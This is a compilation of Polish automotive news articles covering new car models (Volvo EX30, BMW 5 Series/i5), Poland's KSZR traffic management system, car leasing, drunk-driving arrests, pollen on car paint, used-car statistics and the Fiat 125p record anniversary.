Najwyższy poziom wyposażenia, to Volvo EX30 Ultra, które kosztuje w Polsce 219900 zł i zawiera m.in dach panoramiczny, funkcję park pilot oraz kamerę 360 st. To najmocniejsza odmiana z napędem na dwie osie i silnikami o mocy 428 KM. Zasięg ma wynosić 460 km. Tutaj bateria też ma pojemność 69 kWh.

Zarówno cena, wyposażenie, jak i wygląd auta mogą sprawić, że będzie to jeden z bestsellerów marki.

Ciekawostka!

25% aluminium użytego do produkcji EX30 pochodzi z odzysku. Podobnie jak 17% stali i 17% tworzyw sztucznych. Samochód na etapie produkcji powoduje powstanie około 18 ton CO2. Aby pokonać kolejne 200 000 km – ta emisja wyniesie jednie 12 ton (licząc zasilanie według miksu energetycznego EU-27).

Source: Volvo EX30 – cena w Polsce, dane techniczne, opis. To najszybszy model w historii marki!

Oto nowy system zarządzania ruchem w Polsce! GDDKiA uruchamia i testuje – dowiedz się kiedy i gdzie

Spis treści

Na system zarządzania ruchem KSZR (dokładnie: Krajowy System Zarządzania Ruchem), który w I etapie obejmie ok. 1000 km dróg na międzynarodowej sieci dróg TEN-T (autostrady i drogi ekspresowe), będzie składało się pięć regionalnych systemów, które w przyszłości zostaną zintegrowane w system centralny. Na 120 konstrukcjach wsporczych, bramownicach i masztach z wysięgnikami, zamontowano m.in.: 44 dużych i 19 małych tablic zmiennej treści oraz dziewięć tablic tzw. pryzmowych. To elementy Krajowego Systemu Zarządzenia Ruchem (KSZR) jaki obejmie najważniejsze odcinki dróg.

System zarządzania ruchem KSZR – gdzie najpierw?

W woj. łódzkim objętych systemem zostaną trzy odcinki dróg najwyższych kategorii:

  • autostrada A1 między węzłami Łódź Północ i Tuszyn,
  • autostrada A2 od węzła Łódź Północ do granicy z województwem mazowieckim
  • droga ekspresowa S8 między węzłami Rzgów i Łódź Południe.

W przyszłości systemem zarządzania ruchem obejmie także odcinek A1 od węzła Tuszyn do granicy z województwem śląskim i drogę ekspresową S14 na całej długości. 

system zarządzania ruchem

KSZR w łódzkim – co już zostało wykonane?

Na wymienionych odcinkach dróg, oprócz konstrukcji wsporczych, tablic zmiennej treści i tablic pryzmowych informujących o trasach objazdów, ułożono ok. 22 km kabli energetycznych i 17 km światłowodów. Zbudowano kanalizację teletechniczną o łącznej długości blisko 9 km.  Dostosowano 17 sygnalizacji świetlnych na trasach objazdowych, dla poprawy płynności ruchu.

Co to jest KSZR?

Krajowy System Zarządzania Ruchem (KSZR) to zintegrowany systemu teleinformatyczny, który umożliwia zarządzanie ruchem w czasie rzeczywistym oraz daje kontrolerom informacje o warunkach ruchu na sieci dróg krajowych. KSZR pomaga w procesach utrzymania infrastruktury drogowej oraz zarządzania majątkiem drogowym. Jest częścią ITS, czyli rozwiązań zaliczanych do inteligentnych systemów transportowych, które stosuje się, aby:

  • poprawić bezpieczeństwo podroży,
  • skrócić czasu przejazdu,
  • bardziej efektywnie wykorzystywać sieć transportową.

Usługi w ramach KSZR będą realizowane przez:

  • urządzenia ITS, zwane modułami rozproszonymi, zainstalowane w pasie drogi,
  • moduły centralne, czyli systemy informatyczne (oprogramowanie, repozytoria danych) eksploatowane w Centrach Zarządzania Ruchem (CZR), obwodach, rejonach, oddziałach i Centrali.

Co ciekawe, system pozwala także na dwustronną komunikację z uczestnikami ruchu poprzez urządzenia CB, uruchamiane w razie konieczności na wybranych odcinkach drogi lub na większym obszarze. 

system zarządzania ruchem

System Zarządzania Ruchem – jakie informacje będzie zbierał?

System będzie wyposażony w urządzenia, pozyskujące informacje m.in. o:

  • prędkości pojazdów,
  • liczbie i rodzaju pojazdów poruszających się daną drogą,
  • dane o czasach przejazdu na poszczególnych trasach objętych systemem,
  • informacje o stanie nawierzchni,
  • informacje o zajętości miejsc parkingowych,
  • dane meteorologiczne. 

W skład systemu wchodzi osiem stacji meteorologicznych, które na bieżąco śledzą stan nawierzchni drogi, udostępniając dane firmom utrzymaniowym i pracownikom odpowiedzialnym za nadzór. 

KSZR – jak to działa?

System zarządzania ruchem to nie tylko tablice zmiennej treści. Ważne są elementy niewidoczne dla ludzkiego oka. Wśród nich znajdują się np. czujniki automatycznie zbierające dane na temat ruchu; zliczając wszystkie pojazdy z podziałem na kategorie, obliczają czas przejazdu i oceniają poziom swobody ruchu. Na podstawie tych danych oraz obrazu z kamer w sytuacji wystąpienia np. wypadku czy innego zdarzenia, operator systemu zarządzania ruchem może podjąć stosowne działania zapewniające bezpieczeństwo pozostałym kierowcom. 

W szczególnych przypadkach, które mogą skutkować np. blokadą trasy, (co będzie wymuszało przekierowanie ruchu na drogę alternatywną), system przełączy sygnalizacje świetlne dostosowując sterowanie do zmienionych warunków ruchu. 

KSZR – jakie kolejne etapy?

W ramach projektu realizowane są umowy na Centralny Projekt Wdrożeniowy (CPW) oraz Regionalne Projekty Wdrożeniowe (RPW) w Łodzi, Gdańsku i Olsztynie, Katowicach oraz Wrocławiu i Opolu. 

Aktualny harmonogram projektu zakłada, że w III i IV kwartale 2023 r. nastąpi wdrożenie i integracja systemu centralnego. 

Trwają też prace w zakresie integracji i wdrożenia KSZR – po Łodzi – także w Gdańsku, Katowicach i Wrocławiu. Zakres i terminy kolejnych działań wynikać będą z postępów w realizacji zadań przez poszczególnych wykonawców. Prace są weryfikowane pod kątem odpowiedniej integracji wszystkich elementów składowych systemu. 

KSZR – finansowanie

Projekt Krajowego Systemu Zarządzania Ruchem Drogowym na sieci TEN-T uzyskał dofinansowanie w kwocie ponad 123 milionów euro ze środków unijnych w ramach Instrumentu „Łącząc Europę”. Jest on prowadzony pod nadzorem Komisji Europejskiej poprzez agencję wykonawczą CINEA. Dofinansowanie wynosi 85 proc. kosztów kwalifikowalnych. Na poziomie krajowym nadzór sprawuje Ministerstwo Funduszy i Polityki Regionalnej oraz Centrum Unijnych Projektów Transportowych.

Source: Oto nowy system zarządzania ruchem w Polsce! GDDKiA uruchamia i testuje – dowiedz się kiedy i gdzie

Nowe BMW serii 5 Limuzyna (G60) i BMW i5 na prąd – cena w Polsce. Pięć metrów długości i nieduża moc

Spis treści

Oto dwie wyjątkowe nowości bawarskiej marki: BMW serii 5 Limuzyna (G60) – BMW i5 z silnikiem elektrycznym. Obie wejdą na rynek w październiku 2023 roku. Nowa generacja, podobnie jak wszystkie poprzednie generacje, będzie produkowana w zakładach BMW Group w Dingolfingu, gdzie wytwarzane są również silniki elektryczne i akumulatory wysokonapięciowe do BMW i5.

Zobacz w galerii poniżej poprzednie generacje BMW serii 5.

BMW serii 5 Limuzyna – wymiary

Odmiana spalinowa wyraźnie urosła względem poprzednika i mierzy teraz równe 506 cm. W porównaniu z poprzednim modelem jego długość wzrosła o 97 mm, szerokość o 32 mm do 1900 mm, a wysokość o 36 mm do 1515 mm. Rozstaw osi został zwiększony o 20 mm do 2995 mm.

Nowe BMW serii 5 – wygląd

Ułożone niemal pionowo elementy diodowe pełnią funkcję kierunkowskazów i świateł dziennych. Wysunięta mocno do przodu atrapa chłodnicy ma szerokie obramowanie i opcjonalnie oświetlenie konturowe BMW Iconic Glow.

Elementy przyciągające wzrok z boku to czarne progi, ukryte w powierzchni drzwi klamki i wytłoczona cyfra 5 u podstawy słupka C. Płaskie lampy tylne przedzielone są chromowaną listwą – interpretacją typowego dla BMW kształtu litery L.

Dynamiczny charakter nowej piątki można dodatkowo podkreślić opcjonalnym pakietem sportowym M i pakietem sportowym M Pro. Już na początku sprzedaży gama kolorów karoserii obejmować będzie trzy lakiery BMW Individual.

BMW serii 5 Limuzyna (G60) – wnętrze

Wnętrze natomiast wygląda bardzo znajomo, ponieważ wiele elementów znamy z nowej serii 7, takich jak kryształowe listwy kryjące oświetlenie nastrojowe. Główne miejsce, jak w każdym nowym BMW, zajmują dwa duże ekrany o przekątnej 12,3 oraz 14,9 cala, ale mają one nowe oprogramowanie i obsługujemy je za pomocą odświeżonego menu – teraz ma ono być bardziej intuicyjne. W porównaniu z poprzednim modelem deska rozdzielcza nowego BMW serii 5 ma znacznie mniej przycisków i elementów obsługi. 

Wnętrze nowej serii 5 może być wykończone różnymi materiałami wysokiej jakości, ale po raz pierwszy będzie można zamówić także wnętrze wegańskie. Obejmuje ono obicie foteli, deski rozdzielczej i boczków drzwi, a także po raz pierwszy kierownicy. 

Nowa jest również kierownica ze spłaszczoną dolną częścią i panelami obsługi dostarczającymi teraz dotykowego feedbacku oraz dźwignia biegów na konsoli środkowej. 

BMW serii 5 Limuzyna

BMW 5 G60

BMW serii 5 Limuzyna – gry samochodowe na postoju

W nowym modelu można spodziewać się nowego systemu operacyjnego BMW Operating System 8.5, który oferuje szerszy zakres treści cyfrowych w zakresie informacji i rozrywki, krótsze cykle aktualizacji funkcji, lepsze informacje o punktach ładowania pojazdów elektrycznych oraz zoptymalizowany dostęp do wielu usług internetowych. Możliwy jest również streaming wideo na wyświetlaczu kontrolnym, a także korzystanie z gier w samochodzie – dzięki platformie AirConsole. Kierowcy i pasażerowie mogą podczas postoju pojazdu grać w tak zwane gry casualowe, na przykład podczas ładowania BMW i5.

BMW 5 G60

BMW 5 G60

BMW serii 5 Limuzyna (G60) – silniki

Sporym zaskoczeniem może być gama silników nowej serii 5, która obejmuje tylko dwa, dwulitrowe silniki – benzynowy i wysokoprężny, oba o mocy niecałych 200 KM. Mocniejsze warianty znajdziemy tylko w elektrycznym i5 – o mocach do wyboru 340 oraz 601 KM. Dopiero w przyszłym roku dołączą do nich dwie hybrydy plug-in oraz 6-cylindrowy diesel, a także kolejny wariant elektryczny.

BMW serii 5 Limuzyna

BMW 5 G60

BMW i5 M60 xDrive – najmocniejszy model

Najwyższym modelem będzie BMW i5 M60 xDrive, które łączy silnik o mocy 442 kW (601 KM)* z typowymi osiągami i cechami stylistycznymi M. Dwie wysoko zintegrowane jednostki napędowe na przedniej i tylnej osi tworzą elektryczny napęd na wszystkie koła. Systemowy moment obrotowy wynosi do 820 Nm (przy włączonej funkcji M Launch Control lub M Sport Boost.), dzięki czemu BMW i5 M60 xDrive przyspiesza z miejsca do 100 km/h w 3,8 s, a jego prędkość maksymalna jest elektronicznie ograniczona do 230 km/h.

Oprócz tego dostępne będzie również BMW i5 eDrive40. Jego silnik elektryczny napędza tylne koła i generuje maksymalną moc 250 kW (340 KM) oraz maksymalny moment obrotowy do 430 Nm z funkcją Sport Boost lub Launch Control. BMW i5 eDrive40 przyspiesza od 0 do 100 km/h w 6,0 s i rozwija prędkość maksymalną 193 km/h.

Zajmujący niewiele miejsca akumulator wysokonapięciowy jest umieszczony w podłodze i dostarcza 81,2 kWh energii użytkowej. Duży zasięg to zasługa nie tylko wydajnych silników elektrycznych, ale też najnowszej wersji adaptacyjnej rekuperacji i inteligentnego połączenia pompy ciepła do ogrzewania i chłodzenia wnętrza, napędu i akumulatora wysokonapięciowego. Wartości wg norm WLTP wynoszą 455–516 km w BMW i5 M60 xDrive oraz 477–582 km w BMW i5 eDrive40. Nowa funkcja MAX RANGE pozwala zwiększyć zasięg nawet o 25 procent poprzez ograniczenie mocy i prędkości oraz wyłączenie funkcji komfortowych.

BMW i5 M60 xDrive – ładowanie

Combined Charging Unit (CCU) w BMW i5 umożliwia ładowanie prądem przemiennym o mocy do 11 kW w standardzie i opcjonalnie do 22 kW. Prądem stałym można ładować z mocą do 205 kW, co pozwala zwiększyć stan naładowania akumulatora w BMW i5 z 10 do 80 procent w ciągu około 30 minut.

BMW serii 5 Limuzyna (G60) – cena w Polsce

Nowe BMW serii 5 można już zamawiać – jego ceny zaczynają się od 255 tys. zł. Za elektryczne i5 zapłacimy przynajmniej 345 tys. zł

Source: Nowe BMW serii 5 Limuzyna (G60) i BMW i5 na prąd – cena w Polsce. Pięć metrów długości i nieduża moc

Przedsiębiorco! Zobacz, jak wziąć samochód w leasing na firmę!

Wyjaśniamy, jak wziąć samochód w leasing na firmę, w tym – jakie warunki trzeba spełnić, by go dostać.

Samochód w leasing na firmę – ale jaką?

Warunki udzielania leasingu na samochód ustala leasingodawca. Stąd też wzięło się przekonanie, że ta forma finansowania pojazdów jest przeznaczona przede wszystkim dla firm, które funkcjonują na rynku od dłuższego czasu. W części ofert rzeczywiście można znaleźć informację, że warunkiem jego uzyskania jest prowadzenie działalności od np. minimum sześciu miesięcy. Jednak nie we wszystkich. Niektórzy leasingodawcy dają samochód w leasing przedsiębiorcom działającym na rynku od trzech miesięcy, jednego, a nawet jednodniowym działalnościom.

O tym, kto może wyleasingować auto, decydują zatem warunki konkretnej oferty. Dla przykładu leasing na Automarket.pl jest kierowany do firm każdego typu, od spółek, aż po jednoosobowe działalności gospodarcze (a nawet dla osób prywatnych!). Co więcej, procedury uzyskania tej formy finansowania są dużo prostsze niż w przypadku kredytu bankowego. Ocena zdolności kredytowej jest zwykle łagodniejsza, nie trzeba również przedstawiać wielu dokumentów wymaganych przy składaniu wniosku kredytowego.

Jak wziąć samochód w leasing na firmę?

W praktyce wzięcie samochodu w leasing na firmę jest bardzo proste, nie wymaga nawet wychodzenia z domu/firmy i zamyka się w kilku krokach:

  • Wybierasz interesujące Cię auto na stronie oferującej finansowanie samochodów.
  • Określasz najbardziej odpowiadające Ci warunki leasingu – to bardzo elastyczna forma finansowania, dzięki czemu wiele „parametrów” umowy możesz idealnie dopasować do swoich potrzeb. Na Automarket.pl wpływasz między innymi na wysokość wkładu własnego (od 0 do 30 proc.!), rocznego limitu kilometrów czy okresu obowiązywania umowy, a tym samym również miesięcznej raty.
  • Wybierasz swój pakiet usług dodatkowych – biorąc samochód w leasing, zyskujesz nie tylko auto, ale też jego profesjonalną obsługę. Firmy oferujące finansowanie dają zwykle do wyboru co najmniej dwa różne pakiety usług, na które może składać się np. koordynacja likwidacji szkód, organizacja samochodu zastępczego, obsługa serwisowa, pełne ubezpieczenie auta czy zakup, wymiana, serwis lub przechowywanie opon.
  • Składasz wniosek online – na Automarket.pl podajesz najbardziej podstawowe dane, a więc swoje imię, nazwisko oraz dane kontaktowe (e-mail i nr telefonu). Następnie kontaktuje się z Tobą specjalista, który wskazuje Ci listę dokumentów wymaganych do zawarcia umowy. Formalności są ograniczone do minimum w porównaniu do starania się o kredyt bankowy. W przypadku jednoosobowych działalności gospodarczych wystarczy zwykle wpis do CEiDG oraz zaświadczenie o nadaniu numeru REGON i NIP.
  • Odbierasz samochód – przy zamówieniu online może zostać Ci dostarczony pod wskazane przez Ciebie miejsce!

Jaki samochód można wziąć w leasing?

Nie każdy wie, że w leasing można wziąć nie tylko nowy samochód. Część firm oferuje bowiem tę formę finansowania również na auta używane, czyli poleasingowe. To świetne rozwiązanie dla osób, które chcą jeździć wymarzonym pojazdem, a przy tym maksymalnie zaoszczędzić. Rata za leasing używanego samochodu na firmę jest zdecydowanie niższa niż w przypadku nowego auta. Przy tym dalej przysługują Ci wspomniane wcześniej pakiety takich korzyści, jak np. profesjonalna obsługa serwisowa czy powypadkowa. Co więcej, biorąc w leasing samochód używany, też możesz rozliczać miesięczne raty w ramach kosztów prowadzenia działalności – dokładnie tak samo, jak przy nowym aucie.

Source: Przedsiębiorco! Zobacz, jak wziąć samochód w leasing na firmę!

Pijani kierowcy – policyjne i obywatelskie ujęcia ostatnich dni! 2 promile za kółkiem

Spis treści

Poniżej podajemy kilka przykładów, w których pijani kierowcy zostali zatrzymani na „gorącym uczynku”. Nie wyczerpuje to oczywiście tego typu zdarzeń, które miały miejsce w minionych dniach. Warto w tym miejscu wspomnieć o przypadku z Gdańska, gdy nietrzeźwy 38 latek złożył zawiadomienie o kradzieży samochodu, którym przyjechał…

Przeczytaj też:
Zatrzymania obywatelskie – co Polak by zrobił z pijanym kierowcą? Wyniki badania

Akcja „Trzeźwość” w Krośnie

Przedstawiciele krośnieńskiej drogówki nowy tydzień rozpoczęli od kontroli stanu trzeźwości kierowców. Już w pierwszych godzinach trwania akcji „Trzeźwość”, zatrzymano dwóch kierowców – jeden w stanie po spożyciu alkoholu (zakres 0,2 do 0,5 promila alkoholu w wydychanym powietrzu), drugi w stanie nietrzeźwości (powyżej 0,5 promila).

Pijani kierowcy w Płocku

Ten przykład udowadnia tezę, że bycie policjantem, to służba, którą pełni się cały czas. Potwierdziła to funkcjonariuszka z oddziałów prewencji Policji w Płocku. Dzięki jej interwencji – choć była po służbie mundurowej – doszło do zatrzymania nietrzeźwego kierującego.

W miniony piątek (19.05) przed godz. 19 na drodze wojewódzkiej DW555 w miejscowości Sicień (gm. Brudzeń Duży) policjantka zauważyła poruszający się samochód, do którego wcześniej wsiadło dwóch mężczyzn, których stan mógł wskazywać na to, że są pod wpływem alkoholu. Funkcjonariuszka natychmiast zareagowała, postanowiła zatrzymać kierującego hondą. Wyprzedziła pojazd i zmusiła do zatrzymania, po czym odebrała kluczki kierującemu. Na miejsce przyjechał patrol ruchu drogowego, który sprawdził stan trzeźwości kierującego. Jak się okazało, że 64-letni mieszkaniec pow. płockiego, miał prawie 2 promile alkoholu w organizmie!

Mężczyzna stracił prawo jazdy i teraz odpowie za swoje zachowanie przed sądem.

Pijani kierowcy w Rzeszowie

W sobotę około godz. 16, dyżurny krośnieńskiej komendy otrzymał informację, że w miejscowości Moderówka doszło do obywatelskiego ujęcia nietrzeźwego kierującego. Kierowca dostawczego peugeota, wsiadając do zaparkowanego pojazdu, chwiał się na nogach, a po uruchomieniu silnika, miał wyraźne problemy z wykonaniem podstawowych manewrów parkingowych.

Nietypowa sytuacja zwróciła uwagę znajdującego się na parkingu mężczyzny, który po podejściu do manewrującego pojazdu zorientował się, że kierujący może być nietrzeźwy. Świadek natychmiast wyciągnął kluczyk ze stacyjki peugeota, skutecznie uniemożliwiając kierowcy próbę opuszczenia przysklepowego parkingu.

Przybyli na miejsce policjanci ustalili, że kierujący to 65-letni mieszkaniec gminy Jedlicze. Badanie stanu trzeźwości wykazało około 0,8 promila alkoholu w jego organizmie. Funkcjonariusze zatrzymali mężczyźnie prawo jazdy. Za kierowanie pojazdem w stanie nietrzeźwości grozi mu sądowy zakaz prowadzenia pojazdów, wysoka grzywna, ograniczenie wolności, a nawet kara do 2 lata więzienia.

Pijani kierowcy – szara strefa

Wymienione wyżej przypadki to tylko zdarzenia, w których uczestniczyli policjanci. Ilu pijanych, lub nietrzeźwych kierowców nie zostało wykrytych przez patrole drogówki? Ilu nie zostało zatrzymanych przez mądre, postronne osoby, które wiedzą, że w ten sposób mogą zapobiec tragedii? Pijani kierowcy to plaga na naszych drogach i choć świadomość konsekwencji pobłażania takim kierującym na podwójnym gazie w społeczeństwie rośnie, to tzw. szara strefa jest prawdopodobnie znacznie większa, niż liczby w policyjnych statystykach. Warto reagować na każdy przejaw „wężykowania” na drodze, dzwoniąc na numer 112 i informując policję o zdarzeniu. To nie donosicielstwo, a odpowiedzialność za życie własne i innych uczestników dróg.

Source: Pijani kierowcy – policyjne i obywatelskie ujęcia ostatnich dni! 2 promile za kółkiem

Tajemniczy żółty pył na samochodzie. Co to jest i jak się go pozbyć?

Spis treści

W ostatnim czasie na wielu samochodach pojawia się żółty pył. Zjawisko przybiera na sile wczesną wiosną. Czasami wystarczy kilka godzin, żeby świeżo umyta karoseria została oblepiona tajemniczą substancją.

Właściciele „wybrudzonych samochodów” spekulują, że to pył z pustyni Sahary, kwaśny deszcz, a może zanieczyszczenia emitowane przez ogromne firmy i nieekologiczne produkcje. Jak się okazuje, wszystkie te czynniki nie mają z nalotem na karoseriach nic wspólnego. 

Pył co prawda nie jest zbyt estetyczny, ale na szczęście nie szkodzi ani zdrowiu, ani karoserii auta. Podpowiadamy, skąd się bierze i jak się jej pozbyć.

Żółty pył na aucie – efekt pylenia roślin?

Na terenie całej Polski powoli rozpoczyna się sezon pylenia roślin. W zależności od regionu żółty pył może się dawać we znaki przez całą wiosnę i stawać się coraz bardziej intensywny. Na początek pylą olchy, w marcu dołączają topole i cisy, potem świerki i sosny. To właśnie dzięki tym pyłkom pojawia się żółty pył na karoserii samochodu.

Poza drzewami iglastymi właśnie teraz można zauważyć intensywne pylenie takich roślin jak: wczesnokwitnące trawy, babka i szczaw. Drzewa uczulające najbardziej w maju i czerwcu to przede wszystkim dąb i świerk. 

żółty pył na samochodzie - kalendarz pylenia roślin

Żółty pył na samochodzie – kalendarz pylenia roślin

Żółty pył to więc zwykle w ostatnich dniach pyłek z drzew iglastych, a zwłaszcza z pachnącej sosny. W tym czasie wszystko wokół jest pokryte żółtym osadem, niestety bardzo trudno się go pozbyć. Nie trudno się domyślić, że najbardziej cierpią właściciele samochodów z czarną lub ciemną karoserią. 

Zobacz: Czyszczenie tapicerki w samochodzie – czy warto to robić samodzielnie?

Na szczęście nalot pochodzenia roślinnego jest najbardziej dokuczliwy dla alergików, ale nie dla samochodów. Powłoka lakiernicza nie jest w żaden sposób zagrożona, pod warunkiem, że będziemy usuwać ten nalot w rozsądny sposób.

Żółty pył – jak się pozbyć z karoserii?

Najłatwiejszą i najskuteczniejszą metodą na żółty pył będzie wysokociśnieniowa myjka. Na początek należy delikatnie opłukać karoserię samochodu i sprawdzić, czy pyłek pomieszany z brudem i piaskiem nie przykleił do karoserii.

Następnie polecamy dokładniejsze mycie zabrudzenia ciepłą wodą lub wodą z szamponem lub aktywną pianą, która usunie wszystkie zabrudzenia. Na koniec warto rozważyć zabezpieczenie lakieru woskiem, co spowolni osadzanie się kolejnej warstwy pyłu czy miejskiego kurzu.

Przeczytaj koniecznie: Samodzielne mycie auta – oszczędność, która się słabo opłaca. Warto zaufać specjalistom?

Jak zmyć żółty pył z samochodu?

W żadnym wypadku nie należy używać szczotki, które mogą doprowadzić do powstania drobnych uszkodzeń w postaci mikro rys. Zdecydowanie nie zaleca się wycierania zabrudzonego lakieru na sucho.

Przecieranie powierzchni suchą szmatką czy gąbką doprowadzi do szybkiego uszkodzenia i zmatowienia powierzchni lakieru. Mycie karoserii gąbką też nie jest dobrym pomysłem w takiej sytuacji.

Przy okazji warto zadbać o czystość układu wentylacji i klimatyzacji, a także dobry stan filtra kabinowego. Dzięki temu poprawi się komfort jazdy podczas największego pylenia. Trzeba się przyzwyczaić, że w okresie wiosennym jest to typowe zjawisko.

Kiedy skończy się pylenie roślin?

Pylenie sosen potrwa mniej więcej do końca czerwca, także musimy przygotować się jeszcze na kilka tygodni dodatkowej pielęgnacji i częstszych wizyt na myjni. 

Source: Tajemniczy żółty pył na samochodzie. Co to jest i jak się go pozbyć?

Chcesz kupić 10-letnie samochody używane w dobrym stanie? W Polsce to graniczy z cudem

Spis treści

Samochody używane to polska rzeczywistość na drogach, bo nasz kraj zajmuje jedno z czołowych miejsc w Europie pod względem liczby zarejestrowanych aut. Po naszych drogach porusza się ponad 26 milionów samochodów osobowych. Niestety – liczba nie zawsze idzie w parze z jakością.

Po przeanalizowaniu danych dla ponad 22 milionów pojazdów Carfax Europe informuje, że znalezienie w Polsce 10-letniego auta w idealnym stanie technicznym, może okazać się karkołomnym zadaniem.  

Samochody używane w Polsce – wiek

Prawie trzy czwarte samochodów w Polsce to pojazdy mające 10 lat lub więcej. Na dodatek, spośród 22 milionów sprawdzonych pojazdów, ponad połowa była starsza niż 15 lat. To właśnie te zaawansowane wiekowo pojazdy miały na swoim koncie najwięcej niepokojących zdarzeń. Aż 75% wszystkich zbadanych samochodów miało w historii przynajmniej jedno zdarzenie zakwalifikowane jako m.in. wypadek, szkoda, import, manipulacja przebiegu lub wystrzelone poduszki powietrzne itp. W przypadku aut w wieku 10 lat lub starszych, prawdopodobieństwo to wzrastało jeszcze bardziej, osiągając poziom 85%.

samochody używane w Polsce

Samochody używane w Polsce

Samochody używane w Polsce – stan techniczny

Okazuje się, że więcej niż co trzeci samochód w Polsce (35%) brał udział w wypadku bądź zgłoszono dla niego szkodę. Co ciekawe, w tym zakresie prym wiodły pojazdy z kategorii wiekowej od 4 do 9 lat. Zatem optymizmem nie napawa fakt, że po polskich drogach porusza się około 8 milionów samochodów często po poważnych przejściach. Taka sytuacja stanowi ogromne zagrożenie dla bezpieczeństwa w ruchu drogowym. Najwięcej z tych pojazdów, to:

  • 11%, to auta marki Volkswagen,
  • 9% Opel (9%),
  • 8% Ford
  • 7% Toyota.

Powyższa lista odzwierciedla również strukturę pojazdów różnych producentów na polskim rynku samochodów używanych.

Z jakich krajów sprowadzamy samochody używane najczęściej?

W Polsce około 60% samochodów używanych pochodzi importu. Niestety, większość z nich jest w złym stanie technicznym lub posiada historię powypadkową lub wcześniejsze szkody. Aż 50% wszystkich sprowadzonych pojazdów to auta z grupy wiekowej 4-9 lat. Najpopularniejszą marką importowaną jest:

  • Volkswagen (15%),
  • Opel (11%),
  • Audi (8%),
  • Ford (7%).

Stan samochodów używanych w Polsce – ocena

Oceniając stan samochodów używanych w Polsce, można dojść do niepokojących wniosków. Spora część aut poruszających się po polskich drogach to pojazdy relatywnie stare i znajdujące się w złym stanie technicznym. Jednak zakup samochodu używanego w Polsce praktycznie z każdej grupy wiekowej może wiązać się ze sporym ryzykiem. Dlatego sprawdzenie historii auta wydaje się działaniem niezbędnym. W ten sposób znacznie łatwiej jest określić prawdziwą wartość pojazdu oraz zminimalizować ryzyko kupna samochodu uszkodzonego lub powypadkowego lub niosącego ze sobą inne istotne dla nowego nabywcy ryzyka.

Source: Chcesz kupić 10-letnie samochody używane w dobrym stanie? W Polsce to graniczy z cudem

Fiat 125p i trzy rekordy świata – wkrótce wielka feta na 50. rocznicę wydarzenia

W czerwcu odbędą się obchody 50. rocznicy ustanowienia przez załogę kultowego modelu – którego prawidłowa nazwa brzmi Polski Fiat 125p – trzech światowych rekordów prędkości w jeździe non stop.

Dlaczego warto wspomnieć o właściwej nazwie modelu? Bo auto to było produkowane w Polsce w FSO w Warszawie od 1967 do 1991 roku na podstawie licencji włoskiej firmy FIAT. Dopiero po wygaśnięciu licencji, w 1983 roku, nazwę zmieniono na FSO 125p. Spotykane są też oznaczenia FSO 1300/1500. Model ten jest potocznie nazywany Dużym Fiatem.

Fiat 125p – rekordy świata prędkości

W czerwcu 1973 roku Polski Fiat 125p, prowadzony przez ośmiu czołowych polskich kierowców rajdowych z Sobiesławem Zasadą na czele, pobił trzy rekordy świata w jeździe długodystansowej.

W Polsce nie istniał owalny tor, na którym można by przeprowadzić próbę. Na miejsce jazdy wybrano 30-kilometrowy odcinek starej, betonowej autostrady na południe od Wrocławia. Generowało to dodatkowe wyzwanie dla organizatorów i kierowców. Tor owalny umożliwia płynną jazdę bez konieczności hamowania. Na zamkniętym kawałku autostrady, po prostym odcinku, samochód musiał ostro hamować, by nawrócić i pomknąć w przeciwnym kierunku do drugiego nawrotu.

Setki takich ekstremalnych hamowań pozwoliło uzyskać rewelacyjne wyniki i ustanowić trzy rekordy świata w jeździe długodystansowej:

  • na 25 tysięcy kilometrów;
  • 25 tysięcy mil;
  • 50 tysięcy kilometrów.

Średnia prędkość na tym ostatnim dystansie wyniosła 138,270 km/h.
Czas przejazdu to 361 godzin, 36 minut i 39 sekund.

Kierowcy, którzy brali udział w biciu rekordu świata Fiatem 125p w 1973 roku

  • Sobiesław Zasada – pomysłodawca i lider przedsięwzięcia,
  • Jerzy Dobrzański,
  • Andrzej Jaroszewicz,
  • Robert Mucha,
  • Ryszard Nowicki,
  • Marek Varisella,
  • Andrzej Aromiński
  • Franciszek Postawka – dołączył do zmęczonych kierowców w późniejszym etapie próby, co pozwoliło skrócić czas trwania zmiany i utrzymać wysokie, rekordowe tempo jazdy. 

50. rocznica bicia rekordu Fiatem 125p – Wrocław

Dwudniowa impreza przypominająca o rocznicy rekordu została zaplanowana na 17 i 18 czerwca. Głównym miejscem akcji będzie kampus Politechniki Wrocławskiej, gdzie w niedzielę 18 czerwca będzie można spotkać się z uczestnikami wydarzeń sprzed 50 lat i obejrzeć rekordowy egzemplarz Fiata 125p. Organizatorzy zaplanowali też inne atrakcje, m.in. wystawę poświęconą próbie bicia rekordu, grę terenową z atrakcyjnymi nagrodami od Textar, możliwość obejrzenia innych wyjątkowych Fiatów 125p, spotkanie z gościem specjalnym oraz odsłonięcie nowych, powiązanych z wydarzeniem wrocławskich krasnali.

Fiat 125p

Fiat 125p

Dzień wcześniej, w sobotę 17 czerwca, odbędzie się specjalny historyczny rajd dla właścicieli modeli Fiat 125p. Do tego wydarzenia zgłoszono ponad 150 samochodów. Start zawodów zlokalizowano w Kątach Wrocławskich. Następnie auta i ich załogi przejadą malowniczą trasą do mety w Topaczu.

Klocki Texar, rekord i wielka impreza we Wrocławiu

Rekordowy Fiat 125p wyposażony był w klocki i tarcze hamulcowe marki Texar, co okazało się kluczowe dla powodzenia całego przedsięwzięcia. Dziś, podobnie jak w 1973 roku, Texar będzie partnerem tego wydarzenia.

Udział w zakończonym sukcesem wyzwaniu Polskim Fiatem 125p to ważne wydarzenie dla naszej marki. Jak wynika z relacji kierowców, zastosowanie części Textar miało autentyczny wpływ na powodzenie próby i ustanowienie rekordowej średniej prędkości. Dlatego mocno angażujemy się w tegoroczną rocznicę. Szczególnie, że wśród miłośników starych, klasycznych samochodów są też przecież właściciele nowych aut. To dla nas okazja na przedstawienie oferty naszych produktów i rozwiązań z zakresu hamulców do samochodów osobowych. Będziemy obecni podczas samego wydarzenia we Wrocławiu, które zapowiada się niesamowicie atrakcyjnie, ale nie tylko. Planujemy szereg dodatkowych akcji i działań związanych z rekordem, również dla warsztatów stosujących części marki Textar – mówi Joanna Krężelok, Dyrektor oddziału TMD Friction Services w Polsce.

Impreza będzie otwarta dla wszystkich chętnych, a wstęp będzie bezpłatny.

Source: Fiat 125p i trzy rekordy świata – wkrótce wielka feta na 50. rocznicę wydarzenia

Skoda Superb – to już 90 lat flagowego modelu! Historia i zapowiedź 4. generacji

Spis treści

